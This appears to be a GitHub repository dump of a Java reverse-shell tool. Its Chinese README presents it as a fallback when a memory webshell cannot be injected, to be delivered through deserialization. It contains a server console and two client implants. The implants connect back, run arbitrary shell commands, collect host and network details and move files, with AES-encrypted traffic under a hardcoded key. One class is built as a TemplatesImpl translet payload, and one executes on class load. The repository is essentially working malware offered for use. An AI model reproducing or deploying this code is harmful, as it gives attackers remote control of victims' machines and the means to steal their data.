├── .gitignore ├── README.md ├── pom.xml └── src └── main └── java └── org └── example ├── SocketServer.java ├── clientTemplate.java └── socketClient.java /.gitignore: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/triplexlove/javasocket/b481285565a8960c1c49ec496c2823bf21f241c1/.gitignore -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | 介绍 2 | 3 | 简单实现了javasocket反弹shell,应对无法正常打入内存马的场景 4 | 并且增加了文件上传加载的功能,可二次上传内存马文件或下载敏感信息等等 5 | ![image](https://github.com/user-attachments/assets/cefd2fd9-281f-4953-bdec-fcf71eac113f) 6 | 使用 7 | 8 | 将socketclient使用反序列化包裹或直接在目标机器中运行即可 9 | -------------------------------------------------------------------------------- /pom.xml: -------------------------------------------------------------------------------- 1 | 2 | 5 | 4.0.0 6 | 7 | org.example 8 | javasocket 9 | 1.0-SNAPSHOT 10 | 11 | 12 | 8 13 | 8 14 | UTF-8 15 | 16 | 17 | 18 | info.picocli 19 | picocli 20 | 4.7.5 21 | 22 | 23 | 24 | 25 | 26 | 27 | 28 | org.apache.maven.plugins 29 | maven-jar-plugin 30 | 3.2.0 31 | 32 | 33 | 34 | org.example.SocketServer 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /src/main/java/org/example/SocketServer.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import picocli.CommandLine; 4 | import picocli.CommandLine.Option; 5 | 6 | import javax.crypto.*; 7 | import javax.crypto.spec.SecretKeySpec; 8 | import java.io.*; 9 | import java.net.ServerSocket; 10 | import java.net.Socket; 11 | import java.security.InvalidKeyException; 12 | import java.security.NoSuchAlgorithmException; 13 | import java.util.Base64; 14 | import java.util.Scanner; 15 | import java.util.concurrent.ExecutorService; 16 | import java.util.concurrent.Executors; 17 | 18 | @CommandLine.Command(name = "SocketServer", mixinStandardHelpOptions = true, version = "1.0") 19 | public class SocketServer implements Runnable { 20 | 21 | @Option(names = {"-p", "--port"}, description = "Server port", required = true) 22 | private int port; 23 | 24 | static String key = "I72YPGxLFctx1GnG"; 25 | 26 | public static void main(String[] args) { 27 | int exitCode = new CommandLine(new SocketServer()).execute(args); 28 | System.exit(exitCode); 29 | } 30 | 31 | @Override 32 | public void run() { 33 | try { 34 | ServerSocket serverSocket = new ServerSocket(port); 35 | System.out.println("服务器启动,等待客户端连接..."); 36 | 37 | ExecutorService executorService = Executors.newCachedThreadPool(); 38 | Scanner scanner = new Scanner(System.in); 39 | 40 | while (true) { 41 | Socket clientSocket = serverSocket.accept(); // 等待客户端连接 42 | executorService.execute(new ClientHandler(clientSocket, scanner)); 43 | } 44 | } catch (IOException e) { 45 | e.printStackTrace(); 46 | } 47 | } 48 | 49 | // 定义处理客户端的线程 50 | static class ClientHandler implements Runnable { 51 | private final Socket clientSocket; 52 | private final Scanner scanner; 53 | 54 | public ClientHandler(Socket clientSocket, Scanner scanner) { 55 | this.clientSocket = clientSocket; 56 | this.scanner = scanner; 57 | } 58 | 59 | @Override 60 | public void run() { 61 | try { 62 | // 获取输入输出流 63 | OutputStream os = clientSocket.getOutputStream(); 64 | DataOutputStream dos = new DataOutputStream(os); 65 | InputStream is = clientSocket.getInputStream(); 66 | DataInputStream dis = new DataInputStream(is); 67 | // 循环接收用户输入并发送给客户端 68 | String ospath = dis.readUTF(); 69 | System.out.println("上传命令 upload local-file src-file"); 70 | System.out.println("获取目标信息 info"); 71 | System.out.println("下载命令 download src-file local-file"); 72 | System.out.println("请输入要发送的命令(输入'exit'退出):"); 73 | while (true) { 74 | System.out.print(ospath + "> "); 75 | String command = scanner.nextLine(); 76 | if ("exit".equalsIgnoreCase(command)) { 77 | break; 78 | } 79 | else if (command.startsWith("upload")) { 80 | String[] commandParts = command.split(" "); 81 | if (commandParts.length == 3) { 82 | String localFilePath = commandParts[1]; 83 | String targetFilePath = commandParts[2]; 84 | sendFile(localFilePath, targetFilePath, dos, dis); 85 | } else { 86 | System.out.println("无效的upload命令。"); 87 | } 88 | } 89 | else if (command.startsWith("download")) { 90 | String[] commandParts = command.split(" "); 91 | if (commandParts.length == 3) { 92 | String targetFilePath = commandParts[1]; 93 | String localFilePath = commandParts[2]; 94 | downloadFile(targetFilePath, localFilePath, dos, dis); 95 | } else { 96 | System.out.println("无效的download命令。"); 97 | } 98 | } 99 | else { 100 | dos.writeUTF(encrypt(command)); 101 | String response = dis.readUTF(); 102 | System.out.println("客户端响应:" + decrypt(response)); 103 | } 104 | } 105 | // 关闭资源 106 | dos.close(); 107 | os.close(); 108 | dis.close(); 109 | is.close(); 110 | clientSocket.close(); 111 | } catch (IOException | NoSuchPaddingException | IllegalBlockSizeException | NoSuchAlgorithmException | 112 | BadPaddingException | InvalidKeyException e) { 113 | e.printStackTrace(); 114 | } catch (Exception e) { 115 | throw new RuntimeException(e); 116 | } 117 | } 118 | } 119 | 120 | // 处理文件上传 121 | private static void sendFile(String localFilePath, String targetFilePath, DataOutputStream dos, DataInputStream dis) throws Exception { 122 | File file = new File(localFilePath); 123 | if (!file.exists()) { 124 | System.out.println("文件不存在!"); 125 | return; 126 | } 127 | dos.writeUTF(encrypt("upload")); 128 | dos.writeUTF(encrypt(targetFilePath)); 129 | 130 | long fileLength = file.length(); 131 | dos.writeLong(fileLength); 132 | 133 | byte[] buffer = new byte[4096]; 134 | try (FileInputStream fis = new FileInputStream(file)) { 135 | int bytesRead; 136 | while ((bytesRead = fis.read(buffer)) != -1) { 137 | dos.write(buffer, 0, bytesRead); 138 | } 139 | } 140 | 141 | String response = dis.readUTF(); 142 | if ("upload_success".equals(decrypt(response))) { 143 | System.out.println("文件上传成功!"); 144 | } else { 145 | System.out.println("文件上传失败!"); 146 | } 147 | } 148 | private static void downloadFile(String targetFilePath, String localFilePath, DataOutputStream dos, DataInputStream dis) throws Exception { 149 | File file = new File(localFilePath); 150 | dos.writeUTF(encrypt("download")); 151 | dos.writeUTF(encrypt(targetFilePath)); 152 | long fileLength = dis.readLong(); 153 | try (FileOutputStream fos = new FileOutputStream(file)) { 154 | byte[] buffer = new byte[4096]; 155 | long bytesReceived = 0; 156 | int bytesRead; 157 | while (bytesReceived < fileLength) { 158 | bytesRead = dis.read(buffer); 159 | fos.write(buffer, 0, bytesRead); 160 | bytesReceived += bytesRead; 161 | } 162 | } 163 | String response = dis.readUTF(); 164 | if ("download_success".equals(decrypt(response))){ 165 | System.out.println("文件下载成功!"); 166 | }else { 167 | System.out.println("文件下载失败!"); 168 | } 169 | 170 | } 171 | 172 | 173 | public static String encrypt(String cmd) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { 174 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES"); 175 | Cipher cipher = Cipher.getInstance("AES"); 176 | cipher.init(Cipher.ENCRYPT_MODE, secretKeySpec); 177 | byte[] bytes = cipher.doFinal(cmd.getBytes()); 178 | return Base64.getEncoder().encodeToString(bytes); 179 | } 180 | 181 | public static String decrypt(String encryptedData) throws Exception { 182 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES"); 183 | Cipher cipher = Cipher.getInstance("AES"); 184 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec); 185 | byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData)); 186 | return new String(original); 187 | } 188 | } -------------------------------------------------------------------------------- /src/main/java/org/example/clientTemplate.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import com.sun.org.apache.xalan.internal.xsltc.DOM; 4 | import com.sun.org.apache.xalan.internal.xsltc.TransletException; 5 | import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; 6 | import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; 7 | import com.sun.org.apache.xml.internal.serializer.SerializationHandler; 8 | 9 | import javax.crypto.BadPaddingException; 10 | import javax.crypto.Cipher; 11 | import javax.crypto.IllegalBlockSizeException; 12 | import javax.crypto.NoSuchPaddingException; 13 | import javax.crypto.spec.SecretKeySpec; 14 | import java.io.*; 15 | import java.net.Socket; 16 | import java.security.InvalidKeyException; 17 | import java.security.NoSuchAlgorithmException; 18 | import java.util.Base64; 19 | 20 | public class clientTemplate extends AbstractTranslet { 21 | public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {} 22 | 23 | public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {} 24 | static String key = "I72YPGxLFctx1GnG"; 25 | public static String encrypt(String cmd) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { 26 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES"); 27 | Cipher cipher = Cipher.getInstance("AES"); 28 | cipher.init(Cipher.ENCRYPT_MODE,secretKeySpec); 29 | byte[] bytes = cipher.doFinal(cmd.getBytes()); 30 | return Base64.getEncoder().encodeToString(bytes); 31 | } 32 | public static String decrypt(String encryptedData) throws Exception { 33 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES"); 34 | Cipher cipher = Cipher.getInstance("AES"); 35 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec); 36 | byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData)); 37 | return new String(original); 38 | } 39 | public String executeCmd(String[] cmd) throws IOException { 40 | try{ 41 | Runtime runtime = Runtime.getRuntime(); 42 | Process process = runtime.exec(cmd); 43 | // 使用BufferedReader读取命令的输出 44 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 45 | String line; 46 | StringBuilder output = new StringBuilder(); 47 | while ((line = reader.readLine()) != null) { 48 | output.append(line).append("\n"); 49 | } 50 | return String.valueOf(output); 51 | } 52 | catch (Exception e){ 53 | return String.valueOf(e); 54 | } 55 | 56 | } 57 | 58 | public clientTemplate() throws Exception { 59 | super(); 60 | String ip = "127.0.0.1"; 61 | int port = 8888; 62 | String[] shell = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c"} : new String[]{"/bin/sh", "-c"}; 63 | String currentDir = System.getProperty("user.dir"); 64 | System.out.println(); 65 | try { 66 | Socket s = new Socket(ip, port); 67 | InputStream is = s.getInputStream(); 68 | DataInputStream dis = new DataInputStream(is); 69 | OutputStream os = s.getOutputStream(); 70 | DataOutputStream dos = new DataOutputStream(os); 71 | dos.writeUTF(currentDir); 72 | while (true){ 73 | String cmd = dis.readUTF(); 74 | if ("exit".equalsIgnoreCase(decrypt(cmd))){ 75 | break;//退出进程 76 | } 77 | String[] cmder = {shell[0], shell[1], decrypt(cmd)}; 78 | dos.writeUTF(encrypt(executeCmd(cmder))); 79 | } 80 | dis.close(); 81 | is.close(); 82 | dos.close(); 83 | os.close(); 84 | s.close(); 85 | } catch (Exception e) { 86 | throw new RuntimeException(e); 87 | } 88 | } 89 | } 90 | -------------------------------------------------------------------------------- /src/main/java/org/example/socketClient.java: -------------------------------------------------------------------------------- 1 | package org.example; 2 | 3 | import javax.crypto.BadPaddingException; 4 | import javax.crypto.Cipher; 5 | import javax.crypto.IllegalBlockSizeException; 6 | import javax.crypto.NoSuchPaddingException; 7 | import javax.crypto.spec.SecretKeySpec; 8 | import java.io.*; 9 | import java.net.Socket; 10 | import java.security.InvalidKeyException; 11 | import java.security.NoSuchAlgorithmException; 12 | import java.util.Base64; 13 | 14 | 15 | public class socketClient {//客户端 16 | static String key = "I72YPGxLFctx1GnG"; 17 | socketClient(){ 18 | String ip = "127.0.0.1"; 19 | int port = 65434; 20 | String[] shell = System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"cmd.exe", "/c"} : new String[]{"/bin/sh", "-c"}; 21 | String currentDir = System.getProperty("user.dir"); 22 | System.out.println(); 23 | try { 24 | Socket s = new Socket(ip, port); 25 | InputStream is = s.getInputStream(); 26 | DataInputStream dis = new DataInputStream(is); 27 | OutputStream os = s.getOutputStream(); 28 | DataOutputStream dos = new DataOutputStream(os); 29 | dos.writeUTF(currentDir); 30 | while (true){ 31 | String cmd = dis.readUTF(); 32 | if ("exit".equalsIgnoreCase(decrypt(cmd))){ 33 | break; 34 | } 35 | else if("info".equalsIgnoreCase(decrypt(cmd))) { 36 | dos.writeUTF(encrypt(info())); 37 | } 38 | else if (decrypt(cmd).startsWith("upload")) { 39 | receiveFile(dis, dos); 40 | }else if (decrypt(cmd).startsWith("download")){ 41 | sendFile2Server(dis, dos); 42 | } 43 | else { 44 | String[] cmder = {shell[0], shell[1], decrypt(cmd)}; 45 | dos.writeUTF(encrypt(executeCmd(cmder))); 46 | } 47 | 48 | } 49 | dis.close(); 50 | is.close(); 51 | dos.close(); 52 | os.close(); 53 | s.close(); 54 | } catch (Exception e) { 55 | throw new RuntimeException(e); 56 | } 57 | } 58 | public String info() throws IOException { 59 | StringBuilder stringBuilder = new StringBuilder(); 60 | String os = System.getProperty("os.name"); 61 | stringBuilder.append("os: ").append(os).append("\n"); 62 | String username = System.getProperty("user.name"); 63 | stringBuilder.append("whoami: ").append(username).append("\n"); 64 | String home = System.getProperty("user.home"); 65 | stringBuilder.append("home: ").append(home).append("\n"); 66 | String dir = System.getProperty("user.dir"); 67 | stringBuilder.append("dir: ").append(dir).append("\n"); 68 | stringBuilder.append("newtork: ").append("\n"); 69 | java.util.Enumeration nifs = java.net.NetworkInterface.getNetworkInterfaces(); 70 | while (nifs.hasMoreElements()) { 71 | java.net.NetworkInterface nif = nifs.nextElement(); 72 | java.util.Enumeration addresses = nif.getInetAddresses(); 73 | while (addresses.hasMoreElements()) { 74 | java.net.InetAddress addr = addresses.nextElement(); 75 | stringBuilder.append("address: ").append(addr.getHostAddress()).append(", interface: ").append(nif.getName()).append("\n"); 76 | } 77 | } 78 | return stringBuilder.toString(); 79 | } 80 | 81 | private void receiveFile(DataInputStream dis, DataOutputStream dos) throws Exception { 82 | 83 | String destinationPath = decrypt(dis.readUTF()); 84 | long fileLength = dis.readLong(); 85 | 86 | File targetFile = new File(destinationPath); 87 | try (FileOutputStream fos = new FileOutputStream(targetFile)) { 88 | byte[] buffer = new byte[4096]; 89 | long bytesReceived = 0; 90 | int bytesRead; 91 | while (bytesReceived < fileLength) { 92 | bytesRead = dis.read(buffer); 93 | fos.write(buffer, 0, bytesRead); 94 | bytesReceived += bytesRead; 95 | } 96 | } 97 | 98 | dos.writeUTF(encrypt("upload_success")); 99 | } 100 | private static void sendFile2Server(DataInputStream dis, DataOutputStream dos) throws Exception { 101 | String localFilePath = decrypt(dis.readUTF()); 102 | File file = new File(localFilePath); 103 | if (!file.exists()) { 104 | return; 105 | } 106 | long fileLength = file.length(); 107 | dos.writeLong(fileLength); 108 | byte[] buffer = new byte[4096]; 109 | try (FileInputStream fis = new FileInputStream(file)) { 110 | int bytesRead; 111 | while ((bytesRead = fis.read(buffer)) != -1) { 112 | dos.write(buffer, 0, bytesRead); 113 | } 114 | } 115 | dos.writeUTF(encrypt("download_success")); 116 | } 117 | public String executeCmd(String[] cmd) throws IOException { 118 | try{ 119 | Runtime runtime = Runtime.getRuntime(); 120 | Process process = runtime.exec(cmd); 121 | // 使用BufferedReader读取命令的输出 122 | BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); 123 | String line; 124 | StringBuilder output = new StringBuilder(); 125 | while ((line = reader.readLine()) != null) { 126 | output.append(line).append("\n"); 127 | } 128 | return String.valueOf(output); 129 | } 130 | catch (Exception e){ 131 | return String.valueOf(e); 132 | } 133 | 134 | } 135 | static { 136 | new socketClient(); 137 | } 138 | public static void main(String[] args) { 139 | new socketClient(); 140 | } 141 | public static String encrypt(String cmd) throws NoSuchPaddingException, NoSuchAlgorithmException, InvalidKeyException, IllegalBlockSizeException, BadPaddingException { 142 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES"); 143 | Cipher cipher = Cipher.getInstance("AES"); 144 | cipher.init(Cipher.ENCRYPT_MODE,secretKeySpec); 145 | byte[] bytes = cipher.doFinal(cmd.getBytes()); 146 | return Base64.getEncoder().encodeToString(bytes); 147 | } 148 | public static String decrypt(String encryptedData) throws Exception { 149 | SecretKeySpec secretKeySpec = new SecretKeySpec(key.getBytes(), "AES"); 150 | Cipher cipher = Cipher.getInstance("AES"); 151 | cipher.init(Cipher.DECRYPT_MODE, secretKeySpec); 152 | byte[] original = cipher.doFinal(Base64.getDecoder().decode(encryptedData)); 153 | return new String(original); 154 | } 155 | } --------------------------------------------------------------------------------